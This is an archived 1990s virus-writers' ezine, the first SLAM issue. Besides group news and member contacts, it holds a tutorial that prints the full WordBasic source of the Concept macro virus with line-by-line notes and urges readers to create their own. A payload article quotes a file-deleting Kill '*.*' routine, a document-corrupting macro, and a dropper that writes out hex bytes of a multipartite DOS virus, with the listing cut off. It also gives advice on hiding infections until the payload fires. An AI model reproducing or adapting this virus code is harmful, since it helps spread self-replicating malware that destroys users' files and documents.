💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › MISC › slam_01.… captured on 2022-01-08 at 16:34:23.

View Raw

More Information

⬅️ Previous capture (2021-12-04)

-=-=-=-=-=-=-

INTRO
-----

Welcome to the first issue of the SLAM Magazine, this magazine has as
subtitle  "The Document X".  I'm sure this is just the beginning of a
magazine, it will continue until no one reads it anymore or if we are
to lazy to continue it. But I think that that will not yet happen :-)
This isn't a magazine that has a standard time between two magazines,
but I think it will take a couple of months to write the next one. So
make sure to look at our distribution points  for the latest news and
SLAM magazines.  Also make sure  to check out  the VBB magazines  for
more  about some of us.  And for more info about  the group or  us as
individuals check the latest Viral Database (VDAT) from Cicatrix. See
our distribution points  for his homepage,  where you can download or
even read online his latest VDAT. Another thing I suggest to you, for
the rumors and other things that has happened in the Virus World,  is
the latest  God@rky Newsletter,  it's real good,  you get  the latest
news about what happened in the scene and that kinda stuff.  Also see
our distribution points to get the God@rky newsletter.

We suffered a big loss in the virus scene lately: VLAD has quit. They
were one of the best virus groups out there.  It looks like everybody
quits these days, first Phalcom/Skism then NuKE (what a shame :)) and
now VLAD. But a good thing that has  happened lately is that Immortal
Riot merged with  Genesis and that they created one of the best virus
groups out there called IRG, Immortal Riot/Genesis.

But he, for the ones who think that VBB is dead. I've got great news,
there were much things happening lately around VBB.  First they got a
couple of  new members,  I'm one of them. And more important,  A time
ago  Dark Night was e-mailed by  Liquid Cool.  A  hacker/phreaker who
was with  Triple Six  (A hacker/phreaker/etc. group)  until they  got
busted. When Triple Six saw that VBB wasn't doing so well he tried to
contact  Dark Night and said  that it maybe was a good idea to create
some sort of a sub-group in VBB that was about hacking and that kinda
stuff. Liquid Cool could create files to explain how to hack sometin.
So watch out for VBB #4 that will be out soon.

Back to SLAM.  This first issue of SLAM  is mainly about Macro Virii,
because our assembler coderz hadn't had the time to work at the first
issue,  next time there will be probably more assembler shit in here,
so those assembler coderz out there have to wait.

Another thing  I wanna say is,  our english isn't that good,  because
no one from  the SLAM crew is from  a english speakin country.  But I
hope you can understand what we are talkin about. But eh, don't blame
us, we are coderz not english teachers or something.



Copyright and disclaimer (no need to read)
------------------------------------------

Everything from this magazine is for research only and we're not res-
ponsible for any damage done to you, your computer, anything.
And for  those guys out there that  copy everything from us,  but put
their name  in the code,  nothing may be copied without giving credit
to the author.


Finally all the shit is over and we can come to the real art of virii
writing.

Enjoy reading this magazine  and we like to hear your opinion of this
magazine, so don't hesitate to send any mail to us.


                    --- The SLAM virus team ---
MEMBERSHIP & DISTRIBUTION 
-------------------------

The current members of SLAM are:
        -Neophyte
        -Nightmare Joker
        -The Underground Prophet
        -Aurodreph
	-Cyborg
	-Phardera
	-DarkChasm
        -Cursor Lux0r

Credits:
--------
                Neophyte: Main writer of this mag. Win95 viewer.
                          Specialities: macro virii, learnin assembler.
         Nightmare-Joker: Co mag writer, virus supply.
                          Specialities: macro virii
 The Underground Prophet: couldn't help with this issue.      
                          Specialities: assembler, learnin macros.
               Aurodreph: Co mag writer, virus supply.
                          Specialities: macro virii
                  Cyborg: dos virii supply.
                          Specialities: assembler coding
                          Question: Are you busted or something?
	       DarkChasm: Ansi Bomb maker, wrote a couple of const. kits.
			  Specialities: Allround
                Phardera: Virus supply and exchange.
			  Specialities: Allround
            Cursor Lux0r: Asm specialist, but also other prog. languages.
                          Specialities: Asm, Delphi, Pascal


IMPORATANT!!!!!!!!!
-------------------
The e-mail addres Neophyte@Hotmail.com that was put into SLAM New Years edition
is rong it's:

The_Neophyte@Hotmail.com

And the other save e-mail addresses (In no special order):
-------------------------------
The whole SLAM group:                SLAM_President@Hotmail.com
Neophyte                             The_Neophyte@Hotmail.com
NightMare Joker                      Nightmare_Joker@Hotmail.com
The Underground Prophet              TUProphet@Hotmail.com
Aurodreph                            Aurodreph@Defiant.ilf.net
Phardera                             Phardera@Hotmail.com
Darkchasm                            Darkchasm@Hotmail.com



Wanna be a new member of SLAM?
------------------------------

If you think you can do something useful for SLAM just fill in the
'member.frm'. And you should send it to:
slam_president@www.hotmail.com

You'll probably get a response.
Also if you want to submit some articles for SLAM issue 2 
send to the same e-mail adress.


Distribution
------------

There are several pages on the Internet where you can find our magazine. They
are listed below. Only one BBS's has our magazine. But if you are a Sysop from
a kewl virus BBS or something, mail me. Then you'll also be listed here next
issue.

Get our mag from these Internet sites:
--------------------------------------------------------------------------------------------------
http://www.ilf.net/AURODREPH/virus.htm                  | A page from Aurodreph
http://www.ilf.net/Njoker/index.htm                     | Nightmare Jokers Page
http://www.ilf.net/God@rky/virii.htm                    | Get our mag and God@rky newsletter here
http://www.cyberstation.net/~cicatrix/                  | Get our mag and Cicatrix' VDAT 
--------------------------------------------------------------------------------------------------

Or from these BBS's
--------------------------------------------------------------------------------------------------   
Name                  |  SysOp   |  Nr.             |  Country
----                  |  -----   |  ---             |  -------
Arrested Development  |  Omega   |  +31-70-3818095  |  Holland
--------------------------------------------------------------------------------------------------


                        --- Neophyte ---
FIRST INFO ABOUT MACRO VIRII
----------------------------

A computer virus has lots of correspondences with biological virii
(plural of virus).
I will present a list with correspondences:

Computer virii                      | Biological virii
-----------------------------------------------------------------------
Infects other computers.            | Infects other people.
                                    |       
Tries to destroy or do something    | Makes you sick, and have consequents 
that isn't nice ;) to others.       | like throw up and stuff.
                                    |
A virus waits with striking to get  | A virus waits with striking to get
more computers infected.            | more people infected.
                                    |
Anti-virus progs helps you (NOT!!)  | There are medicines against almost all 
with uninfecting you system.        | virii.
-----------------------------------------------------------------------
There are lots of more comparisons with biological virii. Imagine...
At the moment there are 2 main types of computer virii:

                1.  Virii created in assembler (or other program languages,
                    but most of the time in assembler). Created for Dos
                    or sometimes for windows (Bizatch, etc.)
                2.  Virii created in MS-Word macro's (or other programs 
                    that have a good macro language) This sort will be 
                    the subject of this file. 
                    
The second type are the newest virii and spread much more faster then
the first type.

Macro virii (the second type) are created with Microsoft Word for 
Windows 6.0 or higher, you may think how can I create a virus with 
a MS-Word? 
MS-Word has a build in macro language, a macro language is almost the
same as a programmer language (such as C++, Pascal, etc.). The MS-WORD
macro language is a simple version of Visual Basic (a programmers 
language. It's not very hard
to learn, only I never found the perfect book about Word macros.
                   
An assembler virus (type 1) attaches himself to an executable file such
as .EXE and .COM, a Word macro virus (type 2) Doesn't attaches himself 
to .EXE or .COM files, but to .DOC files (the standard MS-Word type). You 
might think, how can a .DOC file with text be infected?
See the following picture for more info. 

  Normal Word Document (.DOC)
    +--------------------+
    | Text + text-format |
    +--------------------+

  Word Template (doesn't matter which extension, .DOT is often used)
    +------------------------------------------+
    | Text + text-format + macros + Word setup |                               
    +------------------------------------------+                                

Word virii are created in macros, so if you want to
create a macro virus you must be sure that the file is saved as a
Word template, because in Word templates you can save macros. But
the only problem is that Word templates are almost always saved as
.DOT. So we must change the FileSaveAs program that it will save Word
templates as .DOC.

What is a macro?
A macro is a sort of a list of things that MS-Word will do auto-
maticcly when the macro is run.

Maybe it's going a bit fast now, so we'll take it all over now, but
if you almost fallen asleap because you already knew everything, go
on with SLAM.003 and enjoy...

A summary of what we had till now:

 - There are 2 types of virii:
        -Assembler virii, mostly for DOS
        -Winword virii, a new type of virii created with the macro language
         of Microsoft Word 6.0 or higher

 - A Word virus is created in a macro, a list of instruction that MS-Word 
   can do automatticly when a macro is run.
 
 - Word can only save macros in templates so you must make sure that Word
   saves every infected file as a template.


Ok that was that. We have the basics of a macro virus here. Now we'll go
on with a specific macro virus, the Concept macro virus. It was the first
macro virus and is probably the most in the wild virus.

In Word you can see if there are any macros installed. You do this with
selecting the Tools/Macros. You then get a dialogbox with the names of
the macros installed in the Normal.dot, Normal.dot is the template where
Word saves its settings in and stores his macros in that are created or
copied to the Normal.dot. Because Word automaticly opens the Normal.dot 
when Word is opened we must make sure to copy the virus macros to the 
Normal.dot.

If you understand everything till here you can read on. Otherwise you
may consider reading it again from the start.

We'll continue our journey in creating macro virii with looking at the
first Word macro virus, Concept. Because Concept is just a simple Word
macro virus we'll start with this virus. It's detected by all AV-progs
I know about but you must learn to walk before you can do the Polka!

The Concept Macro Virus
-----------------------
Before you going to do all the stuff down here it's good to
do the following things:

-Make a backup of the Normal.dot from \winword\template\normal.dot
-It's handy to install the WordBasic help file too

Concept uses 5 different macros to infect and spread. The names of these
macros are:
               
               - AAAZAO     (a copy of the AutoOpen macro)
               - AAAZFS     (becomes the FileSaveAs macro)
               - AutoOpen   (is automaticly executed when doc is opened)
               - FileSaveAs (changes the fileSaveAs dialog so it will save 
                             as a template, but with a .doc extension)
               - PayLoad    (is the infection marker, this macro doesn't do
                             anything, it's just for fun)

In word macro virii the following happens when anyone gets infected:

                1.  You open an infected template (document)
                2.  The AutoOpen macro in the infected template (document)
                    copies all the virus macros from the template (document)
                    to the Normal.dot
                3.  The virus macros changes the FileSaveAs  dialog so
                    that it will save every (normal) document you
                    want to save but changes it into a template and saves
                    the macros of the virus in the document

This happens with almost every macro virii. There are exclusions, but I
will explain these in later files.
Back to Concept.
The virus uses 5 macros, but if you look in an infected document (not the
Normal.dot), with Tools/Macros you will see only 4. You might think: How
the fuck is that possible??? 
It's not very hard to explain:
It's quite logical. If you use an infected document (not the Normal.dot) 
you'll see the 4 macros:
                             - AAAZAO
                             - AAAZFS
                             - AutoOpen
                             - PayLoad
And if you look at an infected Normal.dot you'll see:
                             - AAAZAO
                             - AAAZFS
                             - FileSaveAs
                             - PayLoad

You see that there isn't any AutoOpen macro in the Normal.dot. That's
because it isn't nessecary, because nobody opens his Normal.dot manually.
But if it's opened if you start Word the AutoOpen macro won't run auto-
maticly. We'll come to this later. But in the infected document the
AutoOpen macro is probably the most important macro. Because it does
the actual infection of the Normal.dot. I'll show you later how the
macro works. The PayLoad macro in the infected document is the same as
in the infected Normal.dot and only contains a message:
  "That's enough to prove my point"
It further has no use.
The AAAZAO is a copy of the AutoOpen macro and the AAAZFS macro is a
copy of the FileSaveAs macro. The use of these macros are explained in
the drawing down here. 

  The macros that are copied to the Normal.dot when AutoOpen is executed

    +--Infected document---+
    | AAAZAO --------------+--------+
    | AAAZFS --------------+-----+  |
    | AutoOpen             |     |  |
    | PayLoad -------------+--+  |  |
    +----------------------+  |  |  |
                              |  |  |
    +--Normal.dot----------+  |  |  |
    | PayLoad <------------+--+  |  |
    | FileSaveAs <---------+-----+  |
    | AAAZFS <-------------+--------+-|
    | AAAZAO <-------------+--------+-|
    +----------------------+

You saw that AAAZFS is copied to AAAZFS and to FileSaveAs and AutoOpen was
not. That's because it is running. You cannot copy any macro that is
running. That's why FileSaveAs isn't copied when saving a document
(and infect the document) because FileSaveAs is running. In stead of
FileSaveAs, AAAZFS is copied. AAAZFS has the same contents as FileSaveAs.
As you will see later.
Because AutoOpen isn't copied to the Normal.dot you must have another
macro that has the same contents as the AutoOpen macro to infect other
documents that aren't infected yet, because the infected document must
have an AutoOpen macro in it to infect other computers. Got it? Here's
another drawing to show you what happens if you save an uninfected
document, with the FileSaveAs macro.

  The macros that are copied to the uninfected document when FileSaveAs
  is executed. 

    +--Normal.dot----------+
    | AAAZAO --------------+--------+
    | AAAZFS --------------+-----+  |
    | FileSaveAs           |     |  |
    | PayLoad -------------+--+  |  |
    +----------------------+  |  |  |
                              |  |  |
    +--Uninfected document-+  |  |  |
    | PayLoad <------------+--+  |  |
    | AAAZFS <-------------+-----+  |
    | AutoOpen <-----------+--------+-|
    | AAAZAO <-------------+--------+-|
    +----------------------+

I hope you got it. Now the final thing before we going to see the macros
and their contents of the Concept macro virus.

Every virus must have a see-if-already-infected-thing in it. Because if it
tries to infect a file for the second time you will see all kind off strange
error messages. This counts for assembler virii and ofcourse for Word macro
virii.


Source Code
-----------
This is the source code of the macro virus Concept, it was the first macro
virus created ever. After the source I'll explain what it excactly does.
Everything behind an " ' " are comments by me.

The Word Macro Virus Concept

'The macro AAAZAO (the backup of AutoOpen)

Sub MAIN
        On Error Goto Abort                'a build in errorhandler
        iMacroCount = CountMacros(0, 0)    'count all macros
        'see if we're already installed
	For i = 1 To iMacroCount
		If MacroName$(i, 0, 0) = "PayLoad" Then
                        bInstalled = - 1   'check if payload is in it yet
		End If
		If MacroName$(i, 0, 0) = "FileSaveAs" Then
                        bTooMuchTrouble = - 1  'FileSaveAs already installed?
		End If
	Next i
	If Not bInstalled And Not bTooMuchTrouble Then
		'add FileSaveAs and copies of AutoOpen and FileSaveAs.
		'PayLoad is just for fun.
		iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
                sMe$ = FileName$()              
		sMacro$ = sMe$ + ":Payload"
                MacroCopy sMacro$, "Global:PayLoad" 'infect the Normal.dot
		sMacro$ = sMe$ + ":AAAZFS"
		MacroCopy sMacro$, "Global:FileSaveAs"
		sMacro$ = sMe$ + ":AAAZFS"
		MacroCopy sMacro$, "Global:AAAZFS"
		sMacro$ = sMe$ + ":AAAZAO"
		MacroCopy sMacro$, "Global:AAAZAO"
		SetProfileString "WW6I", Str$(iWW6IInstance + 1)
                MsgBox Str$(iWW6IInstance + 1)      'display a messagebox
	End If
Abort:
End Sub



'The macro AAAZFS (the backup of FileSaveAs)

Sub MAIN
'this becomes the FileSaveAs for the global template
Dim dlg As FileSaveAs
On Error Goto bail                'build in errorhandler
GetCurValues dlg
Dialog dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = FileName$()
sTMacro$ = sMe$ + ":AutoOpen"          
MacroCopy "Global:AAAZAO", sTMacro$    'saves the documents with the macros
sTMacro$ = sMe$ + ":AAAZAO"
MacroCopy "Global:AAAZAO", sTMacro$
sTMacro$ = sMe$ + ":AAAZFS"
MacroCopy "Global:AAAZFS", sTMacro$
sTMacro$ = sMe$ + ":PayLoad"
MacroCopy "Global:PayLoad", sTMacro$
FileSaveAs dlg
Goto Done

Bail:                        
If Err <> 102 Then           'if an error comes up just display the
        FileSaveAs dlg       'FileSaveAs dialog
End If
Done:
End Sub



The macro AutoOpen

Sub MAIN
        On Error Goto Abort               'build in errorhandler
        iMacroCount = CountMacros(0, 0)   'count the macros
	'see if we're already installed
	For i = 1 To iMacroCount
		If MacroName$(i, 0, 0) = "PayLoad" Then
                        bInstalled = - 1   'check if PayLoad is in already
		End If
		If MacroName$(i, 0, 0) = "FileSaveAs" Then
                        bTooMuchTrouble = - 1 'FileSaveAs already installed?
		End If
	Next i
	If Not bInstalled And Not bTooMuchTrouble Then
		'add FileSaveAs and copies of AutoOpen and FileSaveAs.
		'PayLoad is just for fun.
		iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
		sMe$ = FileName$()
		sMacro$ = sMe$ + ":Payload"
                MacroCopy sMacro$, "Global:PayLoad"   'infect the Normal.dot
		sMacro$ = sMe$ + ":AAAZFS"
		MacroCopy sMacro$, "Global:FileSaveAs"
		sMacro$ = sMe$ + ":AAAZFS"
		MacroCopy sMacro$, "Global:AAAZFS"
		sMacro$ = sMe$ + ":AAAZAO"
		MacroCopy sMacro$, "Global:AAAZAO"
		SetProfileString "WW6I", Str$(iWW6IInstance + 1)
                MsgBox Str$(iWW6IInstance + 1)  'display a messagebox
	End If
Abort:
End Sub



The macro FileSaveAs

Sub MAIN
'this becomes the FileSaveAs for the global template
Dim dlg As FileSaveAs
On Error Goto bail      'build in errorhandler
GetCurValues dlg
Dialog dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = FileName$()
sTMacro$ = sMe$ + ":AutoOpen"
MacroCopy "Global:AAAZAO", sTMacro$  'infects Normal.dot
sTMacro$ = sMe$ + ":AAAZAO"
MacroCopy "Global:AAAZAO", sTMacro$
sTMacro$ = sMe$ + ":AAAZFS"
MacroCopy "Global:AAAZFS", sTMacro$
sTMacro$ = sMe$ + ":PayLoad"
MacroCopy "Global:PayLoad", sTMacro$
FileSaveAs dlg
Goto Done

Bail:
If Err <> 102 Then        'If an error comes up just display 
        FileSaveAs dlg    'the FileSaveAs dialog
End If
Done:
End Sub



Don't quit now if you don't understand a thing of it, most of you will
not understand it right now. I will discuss the macros now.
You probably have seen that the macros FileSaveAs and AAAZFS are the same.
The macros AutoOpen and AAAZAO are the same to. It's quite logical because
the AAAZFS gets copied to the FileSaveAs and the AAAZAO is copied to the
AutoOpen macro. So because of the two same macros I will only discuss two
macros with you, the FileSaveAs and AutoOpen, more is not neccesary.
If your Normal.dot has the Concept macros you can easily watch them by
clicking    Tools/Macro---->"choose macro you want to view" and click Edit

Here follows the macros AutoOpen and FileSaveAs again only now with more
explanation, I hope you get it now.

>comment from me about the line above

The Macro FileSaveAs
--------------------
>This all happens when you click File/Save As... in Word.

----------------------------------------------------------------
Sub MAIN
>Every macro begins with this and ends with "End Sub".

Dim dlg As FileSaveAs
>Set the dialog as FileSaveAs.

On Error Goto bail
>If an error occurs goto bail, see "bail:" down the macro where it goes.

GetCurValues dlg
>Gets the cursur place, and other settings of the cursur,
>from the dialog (FileSaveAs dialog).

Dialog dlg

If dlg.Format = 0 Then dlg.Format = 1
>If dialog format is 0 then change it to 1.

sMe$ = FileName$()
>The string sMe$ is the active document in Word.

sTMacro$ = sMe$ + ":AutoOpen"
>The string sTMacro$ is the same as sMe$ (the active document) + ":AutoOpen".

MacroCopy "Global:AAAZAO", sTMacro$
>Copies the macro AAAZAO from the Normal.dot (global template) to the
>sTMacro$ (active document + :AutoOpen).

sTMacro$ = sMe$ + ":AAAZAO"
>The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZAO".

MacroCopy "Global:AAAZAO", sTMacro$
>Copies the macro AAAZAO from the Normal.dot (global template) to the
>sTMacro$ (active document + :AAAZAO).

sTMacro$ = sMe$ + ":AAAZFS"
>The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS".

MacroCopy "Global:AAAZFS", sTMacro$
>Copies the macro AAAZFS from the Normal.dot (global template) to the
>sTMacro$ (active document + :AAAZFS).

sTMacro$ = sMe$ + ":PayLoad"
>The string sTMacro$ is the same as sMe$ (the active document) + ":PayLoad".

MacroCopy "Global:PayLoad", sTMacro$
>Copies the macro PayLoad from the Normal.dot (global template) to the
>sTMacro$ (active document + :Payload).

FileSaveAs dlg
>Shows the FileSaveAs Dialog.

Goto Done
>If everything is gone good goto Done.

Bail:
>This is where the macro jumps to when an error occurs (see On error
>goto bail, at the top of this macro).

If Err <> 102 Then
	FileSaveAs dlg
>If the error number is different to 102 then the macro will show the
>FileSaveAs Dialog.

End If
>The end of an "if" instruction see above (If err <> 102 then FileSaveAs dlg).

Done:
>This is where the macro goes to when everything has gone good.
>The "goto done" instruction does this.

End Sub
>Every Word macro stops with this.
----------------------------------------------------------------

The Macro AutoOpen
------------------
>This all happens when an infected document is opened.

----------------------------------------------------------------
Sub MAIN
>Every macro begins with this and ends with "End Sub".

	On Error Goto Abort
>If an error occurs goto abort, see "abort:" down the macro where it goes.

	iMacroCount = CountMacros(0, 0)
>Count how many macros are in Normal.dot (global template).

	For i = 1 To iMacroCount
>A loop in the macro that runs again if "Next i" instruction is executed.
>Because iMacroCount is the amount of macros in the Normal.dot it will
>check all macros.

		If MacroName$(i, 0, 0) = "PayLoad" Then
			bInstalled = - 1
>If Macro name is PayLoad then bInstalled is - 1

		End If
>The end of an "if" instruction. 

		If MacroName$(i, 0, 0) = "FileSaveAs" Then
			bTooMuchTrouble = - 1
>If Macro name is FileSaveAs then bTooMuchTrouble = - 1

		End If
>The end of an "if" instruction.

	Next i
>The "Next i" instruction that tells the for...next loop to return to the
>for...next loop if i is more then already done.

	If Not bInstalled And Not bTooMuchTrouble Then
>If bInstalled is not 0 and if bTooMuchTrouble is not 0 then do
>everything below this.

                iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
>Sets the iWW6IInstance string as Val(GetdocumentVar$("WW6Infector"))
>This is not that important because it's only used for the message box
>below.

		sMe$ = FileName$()
>The string sMe$ is the active document in Word.

		sMacro$ = sMe$ + ":Payload"
>The string sTMacro$ is the same as sMe$ (the active document) + ":PayLoad".

		MacroCopy sMacro$, "Global:PayLoad"
>Copies the macro PayLoad (sMacro$) from the active infected document to the
>global template (most of the times Normal.dot).

		sMacro$ = sMe$ + ":AAAZFS"
>The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS".

		MacroCopy sMacro$, "Global:FileSaveAs"
>Copies the macro AAAZFS (sMacro$) from the active infected document to the
>global template (most of the times Normal.dot) with the name FileSaveAs.

		sMacro$ = sMe$ + ":AAAZFS"
>The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS".

		MacroCopy sMacro$, "Global:AAAZFS"
>Copies the macro AAAZFS (sMacro$) from the active infected document to the
>global template (most of the times Normal.dot).

		sMacro$ = sMe$ + ":AAAZAO"
>The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZAO".

		MacroCopy sMacro$, "Global:AAAZAO"
>Copies the macro AAAZAO (sMacro$) from the active infected document to the
>global template (most of the times Normal.dot).

		SetProfileString "WW6I", Str$(iWW6IInstance + 1)
>Set the profile string "WW6I" to Str$(iWW6IInstance + 1).
>The actual thing done here is put a 1 in Str$(iWW6IInstace + 1)
>This isn't that important because it is only used to place the "1" in the
>message box below.

		MsgBox Str$(iWW6IInstance + 1)
>This displays a message box containing the Str$(iWW6IInstance + 1).
>Because Str$(iWW6IInstance + 1) is "1" the message box just displays a "1".

	End If
>The end of the "if" instruction "If not bInstalled and not bTooMuchTrouble".

Abort:
>This is the place where the macro goes when an error occurs.

End Sub
>Every Word macro stops with this.
----------------------------------------------------------------

The Macro virus Concept is included with this SLAM issue in the file
Concept.zip

Enjoy creating your first macro virus and learn from the WordBasic help
file and books. You can read on with the mag if you want but it's
probably better if you first learn something more about the Word macro
language WordBasic.


                      --- Neophyte ---   
PAYLOADS IN MACRO VIRII
-----------------------

This file is about payloads. Payloads are things a virus does on
a special time.
It's best if you not activate the payload on the first infection because
the user then knows that he has a virus. Many virii look for the date
and time to deliver the payload, or they can watch how many files they
already infected on that computer.

For example:
A virus gets into your computer and you don't notice it. When the
virus infected the 100th file the virus delivers the payload, your
(precious) hard disk is overwritten.

This was just an example of a payload, if you gonna write a virus,
be original!

But we're going to talk about payloads in macro virii so lets start.
A macro virus will most of the time look at the date for delivering
the payload. We'll give a couple examples of payloads in existing macro
virii.


The payload in the Atom macro virii
-----------------------------------

----------------------------------------------------------------
Sub MAIN
On Error Goto KillError
If Day(Now()) = 13 And Month(Now() = 12) Then
	Kill "*.*"
End If
KillError:
End Sub
----------------------------------------------------------------

As you can see it will check if the day is the 13th of the month
12 (december), and if it's the 12th of december it will
delete (kill) *.*.

An other example of a payload is the following:
'Payload macro from the concept virus

----------------------------------------------------------------
Sub MAIN
	REM That's enough to prove my point
End Sub
----------------------------------------------------------------

This one does no harm and only contains a text string. The name
of the macro is payload and concept checks for this macro to see
if he is already installed (infected).

Down here, again another payload, this time from the Wazzu virus:

----------------------------------------------------------------
If Rnd() < 0.25 Then
        RndWord
        Insert "wazzu " 
        StartOfDocument
End If
----------------------------------------------------------------

The above piece of a macro generates a random number, and if the
number is lower then 0.25 it will put the word Wazzu at the begin
of the document.

The next one is from the Parasite 1.0 macro virus:

----------------------------------------------------------------
Sub MAIN
n = Day(Now())
If n = 16 Then Goto y
If n < 16 Then Goto n
If n > 16 Then Goto n
y:
EditReplace .Find = ".", .Replace = ",", .Direction = 0, .MatchCase = 0, .WholeWord = 1, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
EditReplace .Find = "a", .Replace = "e", .Direction = 0, .MatchCase = 0, .WholeWord = 1, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
n:
EditReplace .Find = "and", .Replace = "not", .Direction = 0, .MatchCase = 0, .WholeWord = 1, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0
sMe$ = FileName$()
FileSaveAs .Name = sMe$, .Format = 1
sTMacro$ = sMe$ + ":AutoOpen"
MacroCopy "Global:PARA", sTMacro$, 4
sTMacro$ = sMe$ + ":PARA"
MacroCopy "Global:PARA", sTMacro$, 4
sTMacro$ = sMe$ + ":SITE"
MacroCopy "Global:SITE", sTMacro$, 3
sTMacro$ = sMe$ + ":PayLoad"
MacroCopy "Global:PayLoad", sTMacro$, 1
sTMacro$ = sMe$ + ":K"
MacroCopy "Global:AutoExec", sTMacro$, 5
sTMacro$ = sMe$ + ":a678"
MacroCopy "Global:AutoOpen", sTMacro$, 6
sTMacro$ = sMe$ + ":I8U9Y13"
MacroCopy "Global:AutoExit", sTMacro$, 7
FileSaveAs .Name = sMe$, .Format = 1

End Sub
----------------------------------------------------------------

This is the whole FileSaveAs macro from Parasite 1.0 it first looks
for the date, and checks if the day is 16. And if it is the 16th the
virus will change all "." to "," and all "a" to "e" and all "and" to
"not". The last thing (and --> not) the virus does with every save of
a document. (I personally like this one ;)


And finally I'll show you, what I call, the debug payloads. Look at the
following example. If you know debug the following will be familiar.

----------------------------------------------------------------
On Error Goto NoDropper             'setup an error handler

Open "c:\dos\debug.exe" For Input As #1
Close #1
                        'The list of numbers is the hex code of the
                        '"Neurobasher.b" multipartite virus.
Open "c:\dos\script.scr" For Output As #1
Print #1, "N debugger.exe"    'uses debug to create file "debugger.exe"
Print #1, "E 0100 4D 5A EC 00 0C 00 00 00 20 00 00 00 FF FF 00 00"
Print #1, "E 0110 00 00 32 2D 00 00 01 00 1E 00 00 00 01 00 00 00"
Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0300 B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0310 E9 3D 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0350 FC 2B FF B4 F2 CD 13 72 47 B4 62 CD 21 8E C3 2B"
Print #1, "E 0360 FF 53 4B 8E DB BB FF FF 80 FF 50 77 0C A1 03 00"
Print #1, "E 0370 2B C3 29 45 12 B4 4A CD 21 5B 8E DB 83 C3 10 FA"
Print #1, "E 0380 BC 00 00 8D 87 00 00 8E D0 81 C3 00 00 FB 9C 53"
Print #1, "E 0390 68 00 00 2B DB 33 C9 8B D1 33 F6 8B EE 33 C0 CF"
Print #1, "E 03A0 E8 00 00 5E B9 00 12 81 EE 93 00 0E 1F 68 00 7C"
Print #1, "E 03B0 07 06 68 A8 00 F3 A4 CB 6A 49 B4 52 CD 21 BB 84"
Print #1, "E 03C0 00 8E D9 2E 8C 06 E0 01 B8 AF 01 87 47 80 50 8C"
Print #1, "E 03D0 C8 87 47 82 50 9C 58 80 CC 01 50 9D B4 4D 9C FF"
Print #1, "E 03E0 1F 2E A1 8F 14 2E A3 93 14 2E A1 91 14 2E A3 95"
Print #1, "E 03F0 14 2E C7 06 E0 01 00 F0 B4 00 99 9C FF 5F C8 8F"
Print #1, "E 0400 47 82 8F 47 80 E8 81 01 C7 45 EC 98 05 C7 45 FC"
